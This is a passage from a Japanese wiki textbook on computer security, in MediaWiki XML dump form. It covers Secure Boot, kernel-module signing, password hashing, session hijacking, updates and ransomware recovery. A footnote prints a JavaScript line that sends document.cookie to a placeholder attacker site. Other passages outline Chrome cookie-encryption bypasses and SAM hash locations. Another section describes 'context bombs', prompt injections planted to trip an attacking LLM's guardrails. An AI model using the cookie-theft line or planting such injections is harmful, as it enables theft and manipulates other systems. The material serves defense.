なお Linux では grub の代わりに使えるブートローダーとして systemd-boot もあります。systemd-boot の署名版は Debian が systemd-boot-efi-*-signed パッケージとして用意しているようです（Ubuntu未搭載）。
&lt;!--TODO: 
TPM (Trusted Platform Module) チップ
--&gt;

=== カーネル本体の改ざんを防ぐ ===
カーネルはオペレーティングシステム (OS) の下層で動き続けるプログラムです。カーネル本体の実行ファイルもブートローダーと同様に署名が行われており、UEFI Secure Boot が有効であればその検証をブートローダーが行います。Linux では GRUB の UEFI Secure Boot と shim_lock の連携がそれに相当します&lt;ref&gt;[https://www.gnu.org/software/grub/manual/grub/grub.html#UEFI-secure-boot-and-shim GNU GRUB Manual 2.14 - 19.4 UEFI secure boot and shim support] フリーソフトウェア財団&lt;/ref&gt;。

なお Ubuntu には署名されたカーネル (linux-image-*パッケージ) と非署名のカーネル (linux-image-unsigned-*パッケージ) の両方が用意されており、署名されているカーネルは以下のような感じでその署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo sbverify --list /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を確認する
signature 1
image signature issuers:
 - /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
image signature certificates:
 - subject: /C=GB/ST=Isle of Man/O=Canonical Ltd./OU=Secure Boot/CN=Canonical Ltd. Secure Boot Signing (2022 v1)
   issuer:  /C=GB/ST=Isle of Man/L=Douglas/O=Canonical Ltd./CN=Canonical Ltd. Master Certificate Authority
$ sudo sbverify --cert /usr/share/grub/canonical-uefi-ca.crt /boot/vmlinuz-$(uname -r) # Linuxカーネル本体の署名を検証する
Signature verification OK
&lt;/syntaxhighlight&gt;

=== カーネルモジュールの改ざんを防ぐ ===
カーネルモジュールも署名されており、その検証をカーネルが行っています。Windowsカーネルでは ci.dll (Code Integrityモジュール)が、Linuxカーネルでは CONFIG_MODULE_SIG コンパイルオプションがその検証を行っています。

カーネルによるカーネルモジュールの検証が有効かどうかは以下で確認することができます:
* Linux: &lt;code&gt;grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r)&lt;/code&gt;

カーネルによるカーネルモジュールの検証で読み込みを弾くかどうかは以下で確認することができます:
* Windows: 強制モードか評価モード (監査モード) かを確認する PowerShell スクリプトが Microsoft のサイトに存在します: https://support.microsoft.com/en-us/windows/hardware/drivers/the-windows-driver-policy#is-my-device-in-evaluation-mode-or-enforcement-mode
* Linux: &lt;code&gt;cat /sys/module/module/parameters/sig_enforce&lt;/code&gt;

また Linux では検証で読み込みを弾かない場合でも検証外カーネルモジュールを読み込んだ場合はdmesgに警告が出て '''Tainted kernel''' 扱いとなります&lt;ref&gt;[https://docs.kernel.org/admin-guide/tainted-kernels.html Tainted kernels] Linux Foundation&lt;/ref&gt;。以下はその例です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep 'CONFIG_MODULE_SIG=' /boot/config-$(uname -r) # y=Yes, n=No
CONFIG_MODULE_SIG=y
$ cat /sys/module/module/parameters/sig_enforce # Y=Yes, N=No
N
$ sudo dmesg | grep 'module verification'
[    8.928361] nvidia: module verification failed: signature and/or required key missing - tainting kernel
$ wget http://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/plain/tools/debugging/kernel-chktaint
[...]
$ sudo sh ./kernel-chktaint
Kernel is &quot;tainted&quot; for the following reasons:
 * externally-built ('out-of-tree') module was loaded  (#12)
 * unsigned module was loaded (#13)
Raw taint value as int/string: 12288/'G           OE      '

Tainted modules:
 * nvidia (OE)
 * nvidia_drm (OE)
 * nvidia_modeset (OE)
 * nvidia_uvm (OE)

For a more detailed explanation of the various taint flags see
 Documentation/admin-guide/tainted-kernels.rst in the Linux kernel sources
 or https://kernel.org/doc/html/latest/admin-guide/tainted-kernels.html
&lt;/syntaxhighlight&gt;

また Linux では以下のような感じで個々のモジュールの署名が確認できます:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ modinfo /lib/modules/$(uname -r)/kernel/arch/x86/kernel/msr.ko.zst
filename:       /lib/modules/7.0.0-38-generic/kernel/arch/x86/kernel/msr.ko.zst
license:        GPL
description:    x86 generic MSR driver
author:         H. Peter Anvin &lt;hpa@zytor.com&gt;
srcversion:     639B995855A3528050FD532
depends:
intree:         Y
name:           msr
retpoline:      Y
vermagic:       7.0.0-38-generic SMP preempt mod_unload modversions
sig_id:         PKCS#7
signer:         Build time autogenerated kernel key
sig_key:        3B:E7:D3:BF:D3:2E:D9:CA:9C:17:D2:E9:5F:1A:1C:AE:67:D5:82:2F
sig_hashalgo:   sha512
signature:      96:BC:2A:18:6E:4D:D8:E5:28:69:9D:E6:65:89:95:D4:BE:4C:5B:7C:
                4A:23:11:75:F6:FE:63:79:FC:29:9B:F7:EA:24:B6:F1:EF:F3:80:17:
                0B:C0:1E:46:61:29:BB:F9:E0:AC:81:69:85:73:7D:D4:77:82:A8:DB:
[...]
&lt;/syntaxhighlight&gt;

なおセキュアブートの環境において DKMS (Dynamic Kernel Module Support) などによるソースコードからの外部カーネルモジュールの導入には自己署名のためのマシン所有者キー (Machine-Owner Key; MOK) が使われていますが、標準ではその秘密鍵がrootからアクセスできる領域に置かれるため、root権限があればどんな悪意のあるカーネルモジュールにも署名を付けることが可能となってしまいます&lt;ref name=&quot;ubuntu-secure-boot&quot;/&gt;。そのため MOK はなるべく使わないようにしましょう。

Ubuntu ではいくつか外部カーネルモジュールに DKMS 版ではなく署名ビルド版を使用することができます。
{| class=&quot;wikitable&quot;
|+ Ubuntuにおける DKMS 版と署名ビルド版
|-
! 外部カーネルモジュール !! DKMS版のパッケージ名 !! 署名ビルド版のパッケージ名
|-
! NVIDIA Driver
| nvidia-dkms-* || linux-modules-nvidia-*-open-$(uname -r) 及び linux-signatures-nvidia-$(uname -r)
|-
! iwlwifi（Intel無線LANドライバ）
| backport-iwlwifi-dkms || linux-main-modules-iwlwifi-$(uname -r)
|-
! v4l2loopback
| v4l2loopback-dkms || linux-main-modules-v4l2loopback-$(uname -r)
|-
! Intel Vision Driver
| intel-vision-dkms || linux-main-modules-vision-$(uname -r)
|-
! Intel Integrated Image Processing Unit 6 driver
| intel-ipu6-dkms || linux-main-modules-ipu6-$(uname -r)
|-
! Intel Integrated Image Processing Unit 7 driver
| intel-ipu7-dkms || linux-main-modules-ipu7-$(uname -r)
|-
! USBIO drivers
| intel-usbio-dkms || linux-main-modules-usbio-$(uname -r)
|-
! ZFS (Zettabyte File System)
| zfs-dkms || linux-main-modules-zfs-$(uname -r)
|-
! NVIDIA DOCA-OFED
| doca-ofed-*-dkms || linux-main-modules-doca-ofed-$(uname -r)
|-
! Extensible Virtual Display Interface
| evdi-dkms || linux-main-modules-evdi-$(uname -r)
|}

しかしながら一部の外部カーネルモジュールは DKMS 経由でのみ提供されています。

=== システムファイル改ざんを防ぐ ===
システムファイル改ざんを防ぐ良い方法はシステム領域を読み取り専用にすることですが、仮にファイルシステムを読み取り専用のファイルシステム（SquashFSやEROFS）にしたとしても記録する場所がSSDであればブロック単位での上書きが可能となります。

1回だけ書き込めて上書きが不可能な媒体としてはCD-R、DVD-R、DVD+R、BD-Rなどの一部の光学メディアが存在しますが、これらをブートメディアとして使用するのは頻繁なアップデートが難しくなります。

そのほかの手法としては別のコンピュータからシステムファイルを取得する「ネットワークブート」を行うという手法もありますが、これはネットワーク経由でシステムファイルが盗まれる可能性と隣り合わせです。しかしながらプロトコルにUEFI HTTPSを、認証に相互認証のmTLSを用いて、その秘密鍵をTPMで管理してOSから読めなくすることでネットワークブートの安全性は何とか確保できるかもしれません（対応マザーボードは不明）。

一方、Android や ChromeOS ではブロックデバイス単位での改ざん検知 (dm-verify) によってシステムイメージの改ざんを防止しています&lt;ref&gt;[https://source.android.com/docs/security/features/verifiedboot/dm-verity?hl=ja dm-verity の実装] Google&lt;/ref&gt;&lt;ref&gt;[https://research.google/pubs/verified-boot-on-chrome-os-and-how-to-do-it-yourself/ Verified Boot on Chrome OS and How to do it yourself] Google&lt;/ref&gt;。

=== カーネルメモリ改ざんを防ぐ ===
カーネルメモリのコード部分は MMU の書き込み禁止によって保護されています。iOS / macOS では Kernel Integrity Protection が&lt;ref&gt;[https://support.apple.com/ja-jp/guide/security/sec8b776536b/web オペレーティングシステムの整合性] Apple&lt;/ref&gt; 、Linux では Kernel Strict RWX がこれに相当します&lt;ref&gt;[https://docs.kernel.org/security/self-protection.html Kernel Self-Protection] Linux Foundation&lt;/ref&gt;。Windows でもカーネルモードに読み込み専用メモリセグメントが存在し、これに書き込もうとするとブルースクリーンで ATTEMPTED_WRITE_TO_READONLY_MEMORY (0xBE) が発行されます&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/debugger/bug-check-0xbe--attempted-write-to-readonly-memory バグ チェック 0xBE: ATTEMPTED_WRITE_TO_READONLY_MEMORY] Microsoft&lt;/ref&gt;。しかしながら Linux Kernel では kprobes、Static Keys、Static calls などで自己書き換えが多用されているため、一時的にコード部分を書き込み可能なページに割り当てて書き換える text_poke(...) という抜け道が存在します。

また定期的に改ざんが行われていないかをチェックする仕組みも存在します。Windows では[[:w:Kernel Patch Protection|Kernel Patch Protection]] (PatchGuard) / HyperGuard が、Linux では Linux Kernel Runtime Guard（外部パッチ）がこれに該当します。Windows の PatchGuard では改ざんが検出されたらブルースクリーンで CRITICAL_STRUCTURE_CORRUPTION が発行されます。

&lt;!--TODO: Windows の HVCI、macOS の Secure Page Table Monitor / Trusted Execution Monitor--&gt;

&lt;!--
=== アプリケーション改ざんを防ぐ ===
SELinux / AppArmor
--&gt;

== 攻撃用AIを対策する ==
攻撃用AIでは基本的に賢いかつ制限の緩い大規模言語モデル (LLM) が使われています。この代表的な例として GLM 5.3 や Qwen3.8-27B-ABLITERATED が存在します。

=== コンテキスト爆弾を設置する ===
攻撃用AIの対策では相手のLLMを止めることが重要となります。そこで使えるのが'''コンテキスト爆弾''' (context bombs) という手法です&lt;ref&gt;[https://arstechnica.com/security/2026/07/now-defenders-are-embracing-the-prompt-injection-too/ Now, defenders are embracing the prompt injection, too] Ars Technica 2026年7月14日&lt;/ref&gt;。

このコンテキスト爆弾は「相手のLLMに対し応答やツール呼び出しで禁止されていることを行わせようとする」というプロンプトインジェクションの一種であり、それによって相手のガードレールがLLMを止めることで相手からの攻撃を防ぎます。この手法は相手の読みそうなテキストにただプロンプトを書いておけば良いだけなので、お手軽に使えます。

コンテキスト爆弾のテキスト例は以下のリポジトリに存在します:
* https://github.com/tracebit-com/context-bombs

===  キャプチャー・ザ・フラッグに偽装する ===
実際の攻撃をコンピュータセキュリティの競技の一つ「[[:w:キャプチャー・ザ・フラッグ|キャプチャー・ザ・フラッグ]]」(CTF) に偽装して止めるという手法が存在します。

キャプチャー・ザ・フラッグで良く使われるファイルには以下が存在します:
* /.env&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;&gt;[https://www.appsecmaster.net/blog/ctf-writeup/ CTF Writeup Guide - Template and Real Web Exploit Examples] AppSecMaster&lt;/ref&gt;
* /flag&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /app/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /home/ctf/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /var/www/flag.txt&lt;ref name=&quot;aps-ctf-writeup&quot;/&gt;
* /root/flag.txt
* /tmp/flag.txt
* /opt/flag.txt

=== ハニーポット ===
ハニーポットは攻撃者を引きつける役目を担います。ハニーポットの評価フレームワークには「UHBS」(Universal Honeypot Benchmarking Standard) が、その品質基準には「UHQS」(Universal Honeypot Quality Score) が存在しますが、2026年現在多くのハニーポットがFランク〜Dランクと残念な状況になっています&lt;ref&gt;[https://uhbs.github.io/uhbs-standard/mkdocs/conformance/ Overview - UHBS — Honeypot Evaluation Framework]&lt;/ref&gt;。

&lt;!--
== 自作コードの脆弱性を塞ぐ ==
書きかけ

--&gt;

== 被害を受けても復旧しやすくする ==
=== バックアップを取る ===
バックアップでは複数世代でオフラインバックアップを取ってください。バックアップの媒体には例えば以下が存在します:
* 外付けHDD
* RDXデータカートリッジ
* LTOテープ

=== 書き込み時コピーのファイルシステムを使う ===
コピー・オン・ライト（書き込み時コピー、CoW) のファイルシステム（btrfs、ZFS）では書き込みが既存のデータと別の場所に保存されるため、ファイルが破壊された場合でも復元できる確率が上がります。

しかしながらそれらのファイルシステムの構造を把握して破壊する高度なマルウェアには無効です。

=== クリーンな環境を用意しておく ===
復旧用として侵害されにくいクリーンな環境を用意しておきましょう。

== 被害からの復旧 ==
=== ランサムウェア被害からの復旧 ===
ランサムウェア（身代金要求型マルウェア）はファイルの暗号化を行います。

復旧のためには決して'''電源を落とさないでください'''。まずはLANケーブルを抜いた後、&lt;code&gt;iotop&lt;/code&gt;コマンドからI/Oの多いプロセスを特定したりなどして&lt;code&gt;kill -STOP&lt;/code&gt;で怪しいプロセスを全て停止させてください。これによって暗号化に使われた鍵がメモリ内に残ります。

次にそのメモリをダンプして外部に保存してください。
* /dev/mem ファイルからのメモリダンプ（モダンなLinuxでは非対応{{efn|/dev/mem からの Linux カーネル全域+ユーザーランドのメモリダンプには Linux カーネルが CONFIG_DEVMEM&amp;#61;y かつ CONFIG_STRICT_DEVMEM&amp;#61;n でコンパイルされている必要があります。}}）
** 直接ダンプする (&lt;code&gt;dd if=/dev/mem ...&lt;/code&gt;)
** AVML (Acquire Volatile Memory for Linux)[https://github.com/microsoft/avml]を使う
* カーネルモジュールによるメモリダンプ
** lime.ko (LiME, Linux Memory Extractor) [https://github.com/jtsylve/LiME]を使う（Debian/Ubuntu では lime-forensics-dkms パッケージとして用意されているが、セキュアブートの場合は前述の MOK による自己署名が必要なので非推奨{{efn|DKMS経由のカーネルモジュール導入は、UEFI セキュアブートなどで Linux カーネルのロックダウンが有効の場合 (&lt;code&gt;cat /sys/kernel/security/lockdown&lt;/code&gt; が integrity または confidentiality の場合)、Machine-Owner Key (MOK) の有効化が必要となります。MOK の鍵が無効になっている場合は再起動後に MokManager から MOK の鍵を有効にする必要があるため、MOK の鍵が無効かつ再起動が不可能な場合は lime-forensics-dkms を使うことはできません。また MOK を有効にした場合はカーネルロックダウンが無意味になる（root権限があれば悪意のあるカーネルモジュールに署名して読み込ませられるようになるため、root権限とカーネルモードのセキュリティ境界が無くなる&lt;ref name=&quot;ubuntu-secure-boot&quot;&gt;[https://documentation.ubuntu.com/security/security-features/platform-protections/secure-boot/ UEFI Secure Boot - Ubuntu security documentation] Canonical&lt;/ref&gt;）という大きな欠点も存在します。}}）
* eBPF プログラムによるメモリダンプ（モダンなシステムで推奨&lt;ref&gt;Andrea Oliveri et al. [https://www.s3.eurecom.fr/docs/dfrwseu26_oliveri.pdf LEMON: A universal eBPF-based volatile memory acquisition tool for modern android devices and hardened linux systems] Eurecom 2026年3月&lt;/ref&gt;）{{efn|ただしeBPFが有効のカーネルに限る。}}
** LEMON[https://github.com/eurecom-s3/lemon]
&lt;!--TODO: 未検証
** emd[https://github.com/ph0llux/emd] - 未検証
--&gt;

最後にクリーンな環境を使ってダンプしたメモリから暗号化に使われた鍵を見つけましょう。これには例えば以下のようなプログラムが存在します。
* C3RB3R向け: https://github.com/soimy/c3rb3r-rescue

なおこの方法はファイル暗号化の部分に共通鍵を使うランサムウェアにのみ効果があります。非対称鍵を直接ファイル暗号化に使うランサムウェアには無効なので期待しすぎないようにしましょう。

== 脚注 ==
&lt;references group=&quot;注釈&quot;/&gt;

== 参考文献 ==
&lt;references/&gt;

{{DEFAULTSORT:こんひゆうたせきゆりてい}}
[[Category:計算機科学]]
[[Category:情報技術]]</text>
      <sha1>6syjhd1vknmw8p7cdbc7grpbwny81y9</sha1>
    </revision>
    <revision>
      <id>305244</id>
      <parentid>305243</parentid>
      <timestamp>2026-11-01T01:56:07Z</timestamp>
      <contributor>
        <username>~2026-54076-02</username>
        <id>92740</id>
      </contributor>
      <origin>305244</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="95261" sha1="my6sxiylo07jykdbxoj6w2mtct48dtq" xml:space="preserve">'''コンピュータセキュリティ'''はコンピュータの安全のことです。ここではコンピュータの安全を確保することを学びます。

== コンピュータセキュリティの基本 ==
コンピュータは弱いところから狙われるため、弱いところを無くすのがセキュリティの基本となります。

具体例を挙げましょう。一般的な光回線に繋がれてるホームネットワークを考えます。ここには光回線の先に繋がる上位ネットワークと家内のホームネットワーク (家庭におけるLAN) とを区切るエッジルーター（一般的にはハードウェア・ゲートウェイがこれに該当）が存在します。このホームネットワークに数台の新しいWindows PCと一台の古い機器が繋がっていると仮定します。

新しいWindows PC同士ではホームネットワーク経由でファイルをやり取りするためにファイルの共有 (SMB{{efn|Server Message Block}}) を有効にしているとします。一方、古い機器の方を脆弱性のある古いテレビとしましょう。このテレビはインターネットから繋いで地上デジタル放送を見るための DCTP+ {{efn|Digital Transmission Content Protection +}}が搭載されており、UPnP{{efn|Universal Plug and Play}}で自動的にエッジルーター搭載のファイアーウォールに穴あけてインターネット側から DCTP+ に繋がるようになっているものとします。

この仮定によってハッカーは DCTP+ の脆弱性を使って古いテレビに悪意のあるプログラムを実行させてファイルの共有サーバーを立て{{efn|Windows 11時点でもゲスト認証による接続は許可されている&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-interception-defense?tabs=group-policy Protect SMB traffic from interception] Microsoft&lt;/ref&gt;。}}、そこからファイルの共有を通じて新しいWindows PCにマルウェア (例えば&lt;code&gt;PHOTO-&lt;ランダムな数字&gt;.png.lnk&lt;/code&gt;&lt;ref&gt;[https://www.microsoft.com/en-us/security/blog/2026/06/25/photo-zip-campaign-targeting-hospitality-industry-delivers-node-js-implant-persistent-access/ Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access] Microsoft 2026年6月25日&lt;/ref&gt;) を送り込むことが可能となりました。

== 安全にパスワードを使う ==
=== 流出したパスワードと被ってないかをチェックする ===
あちこちのサイトで流出したパスワードは集められてデータベース化されダークネットに流通しています。この代表的なものには2019年に登場した [[:w:en:Collection No. 1|Collection #1]] が挙げられます。この Collection #1 などの流出パスワードデータベースは辞書攻撃に利用されており、これは「Credential Stuffing攻撃」と呼ばれています。

使うパスワードが流出パスワードデータベースに載っていないかを確認するためには上記のデータベースを手に入れるか、上記のデータベースからk-匿名性で検索を行うオンラインサービスを使うと良いでしょう。

このオンラインサービスの代表的なものにはWebサイト「Have I Been Pwned」の提供する「Pwned Passwords」サービスが存在しますが、このAPIではパスワードのSHA-1ハッシュ先頭5文字を渡すと、流出したパスワードのSHA1ハッシュ6文字以降と流出データベースに載っていた回数が返答されます。
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # パスワードを入力してSHA-1ハッシュへと変換する（ここでは'test'と入力）
$ sha1=$(read -sp &quot;Password: &quot; pass &amp;&amp; echo -n $pass | sha1sum | cut -d' ' -f1)
Password: 
$ # 変換後のハッシュを表示
$ echo $sha1
a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
$ # ハッシュの先頭5文字を渡して6文字目以降を検索（':'の後ろは見つかった数）
$ curl -s https://api.pwnedpasswords.com/range/$(echo $sha1 | cut -c 1-5) | grep -i $(echo $sha1 | cut -c 6-)
FE5CCB19BA61C4C0873D391E987982FBBD3:1579235
&lt;/syntaxhighlight&gt;

ハッシュの先頭5文字も渡したくない場合や、自社サービスでチェックを行いたい場合は上記のサービスが公式で提供するツール「haveibeenpwned-downloader」[https://github.com/HaveIBeenPwned/PwnedPasswordsDownloader]で全てのハッシュデータをダウンロードして自前で照合しましょう。

=== 解析耐性のある鍵導出関数を使う ===
パスワードでは計算負荷の低い SHA-256 や SHA-512 などの通常のハッシュ関数、メモリ負荷の低い [[:w:PBKDF2|PBKDF2]] や bcrypt などの古い[[:w:鍵導出関数|鍵導出関数]]（パスワードハッシュ関数）を使わないようにしましょう。これらの弱いハッシュ関数は GPU や ASIC で高速に解かれてしまいます。

より強いパスワードハッシュ関数としては yescrypt や Argon2id が存在します。パスワードにはこちらを使いましょう。現代の Linux ではアカウントのパスワードハッシュ関数として yescrypt が標準となっています。

使っている Linux の新規アカウントで使われるパスワードハッシュ関数は以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -n 'pam_unix.so' /etc/pam.d/common-password
26:password     [success=2 default=ignore]      pam_unix.so obscure use_authtok try_first_pass yescrypt
&lt;/syntaxhighlight&gt;

Linuxの現在のアカウントがどのハッシュ関数を使用しているかは以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo cat /etc/shadow | grep $USER # $(1|5|6|b)$=弱い、$y$=強い
user:$y$j9T$ST7oYwlQjFy7/8vnL/Ugt0$po4vW4qgGu8lpUNRtH0B3hDHGZACzcRhzIKhqlx.2Z5:20743:0:99999:7:::
&lt;/syntaxhighlight&gt;

弱いハッシュ関数を使用している場合は&lt;code&gt;passwd $USER&lt;/code&gt;でパスワードを再設定して使用するハッシュ関数を更新してください。

一方、Windows 10 以前のローカルアカウントではパスワードハッシュがレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;(ユーザーID)\&lt;wbr&gt;V&lt;/code&gt;{{efn|name=&quot;sam&quot;}}のバイナリの以下の場所に存在します:
* [[:w:LMハッシュ|LMハッシュ]]:  0xCC + (0x9C に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt;
* NTLMハッシュ:  0xCC + (0xA8 に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt; 

LMハッシュは [[:w:LAN Manager|LAN Manager]] に使われていた [[:w:Data Encryption Standard|DES]] ベースの古いハッシュ、NTLMハッシュは [[:w:NT LAN Manager|NT LAN Manager]] に使われている [[:w:MD4|MD4]] ベースの古いハッシュであり、どちらも非常に弱いものとなっていました。

また Windows の Active Directory ドメインアカウントのオフライン認証向けキャッシュ済みドメイン資格情報はレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SECURITY\&lt;wbr&gt;Cache&lt;/code&gt;に存在します:
* DCC1 ハッシュ (MSCache v1): 弱い MD4 ベース。Windows XP以前。
* DCC2 ハッシュ (MSCache v2) : 弱めの PBKDF2-HMAC-SHA1 ベース。Windows Vista以後&lt;ref&gt;[https://attack.mitre.org/techniques/T1003/005/ OS Credential Dumping: Cached Domain Credentials] MITRE 2025年10月24日&lt;/ref&gt;。

2021年にリリースされた Windows 11 以降は Microsoft アカウントが必須となっています。

&lt;!--TODO: 
Windows Hello、LSA Secrets

=== パスワードの複雑性をチェックする ===
=== TPMで鍵を隔離する ===
--&gt;

=== セッションハイジャックを防ぐ ===
パスワードの悪用は年々難しくなっていますが、それに代わるものとしてブラウザセッション（Cookieなど）を乗っ取る「セッションハイジャック」という手法も流行しています。

これには例えば以下の方法があります:
* マルウェア（セッションスティーラー）でブラウザのセッションファイルを抜き取る
* 正規サイトに挿入される広告やライブラリなどの JavaScript ファイルから Cookie (&lt;code&gt;document.cookie&lt;/code&gt;) を抜き取る{{efn|例えば JavaScript に &lt;code&gt;location.href &amp;#61; &quot;https://（攻撃者のサイト）/logging.cgi?log&amp;#61;&quot; + document.cookie;&lt;/code&gt;を挿入するなど。}}（Webサイト側は Cookie の HttpOnly 属性で対策可）
* 正規サイトに挿入される広告やライブラリなどの外部参照{{efn|ページ埋め込み (iframe)や画像埋め込み (img)など。}}から Cookie を抜き取る（Webサイト側は Cookie の SameSite 属性で対策可）

また以前は暗号化通信 (HTTPS) を遮断したり転送するなどして非暗号化通信 (HTTP) にフォールバックさせるという攻撃もありました（Webサイト側はHTTPヘッダの Strict-Transport-Security や Cookie の Secure 属性で対策）が、Chrome 154 以降は HTTP のサイト自体に警告が出るようになりました。

ブラウザのセッションファイルは以下のように暗号化されています&lt;ref name=&quot;google-cookie-2024&quot;/&gt;。
{| class=&quot;wikitable&quot;
|+ Chromeのセッションファイルの暗号化&lt;ref name=&quot;google-cookie-2024&quot;&gt;[https://developers-jp.googleblog.com/2024/08/improving-security-of-chrome-cookies-on.html Windows 版 Chrome で Cookie のセキュリティを向上させる] Google 2024年8月15日&lt;/ref&gt;
|-
! Windows !! macOS !! Linux (GNOME) !! Linux (KDE)
|-
| アプリケーション バウンド暗号化 || [[:w:Keychain|Keychain]]サービス || [[:w:GNOME Keyring|GNOME Keyring]] (libsecret) || [[:w:KWallet|KWallet]]
|}

しかしながらアプリケーション バウンド暗号化では鍵抽出 (Local Stateファイルのapp_bound_encrypted_keyからElevation Serviceでdecrypt)&lt;ref&gt;[https://www.fortinet.com/jp/blog/threat-research/svg-phishing-hits-ukraine-with-amatera-stealer-pureminer SVGフィッシングでウクライナを攻撃：Amatera StealerとPureMiner利用] Fortinet 2025年10月17日&lt;/ref&gt;、パディングオラクル攻撃を基にした C4 (Chrome Cookie Cipher Cracker) 攻撃&lt;ref&gt;[https://www.security-next.com/172016 ブラウザ「Chrome」の「Cookie暗号化保護」を破壊する「C4攻撃」] NEWSGAIA 2025年7月4日&lt;/ref&gt;、暗号化鍵の鍵置換 (key substitution) 攻撃&lt;ref&gt;[https://issues.chromium.org/issues/513204839 Potential App-Bound Encryption bypass via PROTECTION_NONE key substitution in Local State] Google&lt;/ref&gt;などによって暗号化前のデータを抜き出すことが行われています。

またそもそもアプリケーション バウンド暗号化はポリシー設定 ( chrome://policy ) の ApplicationBoundEncryptionEnabled を false にすることで無効化することができる&lt;ref&gt;[https://chromeenterprise.google/policies/#ApplicationBoundEncryptionEnabled Chrome Enterprise のポリシーリストと管理 - ドキュメント - ApplicationBoundEncryptionEnabled] Google&lt;/ref&gt;ため、まずはこれが無効になってないかを確認しておきましょう。

なお 2026年にはセッションハイジャックを難しくする Device Bound Session Credentials (DBSC) という技術も一般提供されるようになりました。こちらは TPM ([[:w:Trusted Platform Module|Trusted Platform Module]]) の鍵を使うものとなっています。ただしこの DBSC にも限界があります&lt;ref&gt;[https://blog.knowbe4.com/device-bound-session-credentials-phishable-hackable I Love Device-Bound Session Credentials, But They Are Still Phishable and Hackable] KnowBe4 2026年6月11日&lt;/ref&gt;。

== 既製製品の脆弱性を塞ぐ ==
まずは弱いところを無くしましょう。

=== ソフトウェアアップデートをする ===
セキュリティの基本はソフトウェアアップデートです。

==== PCおよびモバイル ====
PC{{efn|PCサーバを含む}}やモバイルでは基本的に自動で通知が来るので忘れずにアップデートを選択しましょう。手動では以下のように行います:
; Windows
: システムのアップデートは基本的に [[:w:Microsoft Update|Microsoft Update]] (Windows Update) で、アプリケーションのアップデートは基本的に&lt;code&gt;winget upgrade --all&lt;/code&gt;コマンドで行います。
: また Windows 11 Enterprise では再起動が不要なホットパッチにも対応しています。
; macOS / iOS
: 「ソフトウェアアップデート」
; Ubuntu / Debian
: [[:w:APT|APT]]パッケージ管理システムでは&lt;code&gt;apt upgrade&lt;/code&gt;コマンドで更新を行います。
: Ubuntu では GUI による更新用として[[:w:Software Updater|Software Updater]] (&lt;code&gt;update-manager&lt;/code&gt;コマンド)、[[:w:Snap (ソフトウェア)|Snap]]パッケージの更新コマンドとして&lt;code&gt;snap refresh&lt;/code&gt;、メジャーバージョンの更新コマンドとして&lt;code&gt;do-release-upgrade&lt;/code&gt;も存在します。
: また Ubuntu では Ubuntu Pro に登録することで再起動が不要なカーネル修正の「Livepatch」も可能となります（個人では5台まで無料）。SUSEではユーザー空間ライブパッチングまで提供されています（glibc と openssl のみ）&lt;ref&gt;[https://documentation.suse.com/ja-jp/sles/15-SP6/html/SLES-all/cha-ulp.html ユーザ空間ライブパッチ - 管理ガイド - SLES 15 SP6] SUSE&lt;/ref&gt;。
; RedHat / Fedora
: &lt;code&gt;yum update&lt;/code&gt;コマンド
; Android
: 「設定」アプリ→「システム」→「システムアップデート」または「ソフトウェアアップデート」 

また個々のハードウェアのファームウェアアップデートは以下で行います:
; Linux
: Linuxにおけるファームウェアの更新は基本的に&lt;code&gt;fwupdmgr update&lt;/code&gt;コマンドで行います。
: NVMe SSDのファームウェアの更新は&lt;code&gt;nvme fw-download&lt;/code&gt;コマンドおよび&lt;code&gt;nvme fw-commit&lt;/code&gt;コマンドで行うことができます。
一方、Windows ではファームウェアのアップデートも Windows Update 経由で&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/bringup/firmware-update ファームウェアの更新] Microsoft&lt;/ref&gt;、macOS ではファームウェアのアップデートもmacOSアップデートで行うことができます&lt;ref&gt;[https://support.apple.com/ja-jp/guide/mac-help/mchlp2609/mac Macのファームウェアアップデートの入手方法] Apple&lt;/ref&gt;。

&lt;!--
また開発環境では以下も存在します:
; Python
: &lt;code&gt;pip -U install&lt;/code&gt;
--&gt;

==== ルーター ====
ルーターでは以下の設定を有効のままにしておきましょう:
; AirStationシリーズ（Buffalo 製ルーター）
: 「ファームウェア自動更新機能」
; Atermシリーズ（NEC 製ルーター）
: 「メンテナンスバージョンアップ機能」「時刻指定バージョンアップ機能」

==== テレビ ====
テレビでは放送波アップデートが行われるため、「放送波による自動更新」&lt;!--TODO: メーカー別名--&gt;を有効にしましょう。

=== 高速に再起動する ===
パッケージは更新しただけでは反映されません（一部デーモンの更新を除く）。Linuxでは高速に再起動する方法が存在し、これによってダウンタイムを減らすことができます。
; 更新で影響を受けるデーモンのみ再起動する
